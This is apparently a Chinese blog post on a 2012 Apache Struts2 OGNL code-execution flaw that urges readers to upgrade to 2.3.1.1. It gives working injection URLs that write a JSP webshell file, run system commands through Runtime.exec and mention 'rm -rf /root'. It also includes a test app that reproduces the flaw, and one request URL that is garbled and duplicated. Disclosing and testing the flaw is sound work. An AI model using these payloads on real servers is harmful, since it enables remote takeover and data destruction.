struts2代码执行漏洞

刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址

https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt

还是热乎的,我大概白话一下。

这个漏洞的级别很高,都升级修补一下。

影响版本是2.3.1和2.3.1之前的版本

解决办法是升级2.3.1.1

漏洞原理(自己理解的)

Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。

例如

处理请求配置这样

<action name="Test" class="example.Test">

    <result name="input">test.jsp</result>

</action>

通过ONGL就可以转换成

/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’

oh!god!系统权限就有了,想干什么,就可以干什么了。

或者这样

/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec(‘calc’))%2b’

想执行什么就可以执行什么了。比如 rm –rf /root..

我根据说明做了一下测试

jdk:1.6

struts:2.2.1

代码如下:

struts.xml

   1:<?xmlversion="1.0"encoding="UTF-8" ?>




   2:<!DOCTYPEstrutsPUBLIC




   3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"




   4:"http://struts.apache.org/dtds/struts-2.0.dtd&quot;>




   5:<struts>




   6:<packagename="default"namespace="/"extends="struts-default">




   7:<actionname="test"class="me.dapeng.action.Test">




   8:<resultname="input">test.jsp</result>




   9:</action>




  10:</package>




  11:</struts>






Test.java






   1:package me.dapeng.action;




   2:  




   3:import com.opensymphony.xwork2.ActionSupport;




   4:  




   5:/*




   6:  




   7:  @ClassName:Test.java.java




   8:  @ClassDescription:测试Struts2漏洞




   9:  @Author:dapeng




  10:  @CreatTime:2012-1-9 下午1:45:36




  11:  




  12: /




  13:publicclass Test extends ActionSupport {




  14:long id;




  15:  




  16:     @Override




  17:public String execute() throws Exception {




  18:         System.out.println("execute input");




  19:return"input";




  20:     }




  21:  




  22:publiclong getId() {




  23:return id;




  24:     }




  25:  




  26:publicvoid setId(long id) {




  27:this.id = id;




  28:     }




  29:  




  30: }






test.jsp





   1: <%@ page language="java"import="java.util.*" pageEncoding="ISO-8859-1"%>




   2: <%@ taglib prefix="s" uri="/struts-tags"%>




   3: <br>




   4: <s:property value="id" />






请求URL


http://localhost:8080/test/test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/create.jsp")).append("jsp+shell").close())%2b’).append("jsp+shell").close())%2b' “http://localhost:8080/test/test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/create.jsp")).append("jsp+shell").close())%2b&#039;”)


结果:


通过URL产生了自定义的文件,如果你想执行什么脚本都可以了。


http://images.dapeng.me/dapengme/2012/01/struts2_B205/struts2_holes_thumb.jpg


我也值测试了其中一种情况,其他的漏洞测试就不做了,没升级到安全版本的,赶紧升级吧!最近的安全问题很多的,别等出了安全问题,再想办法,亡羊补牢,为时已晚已!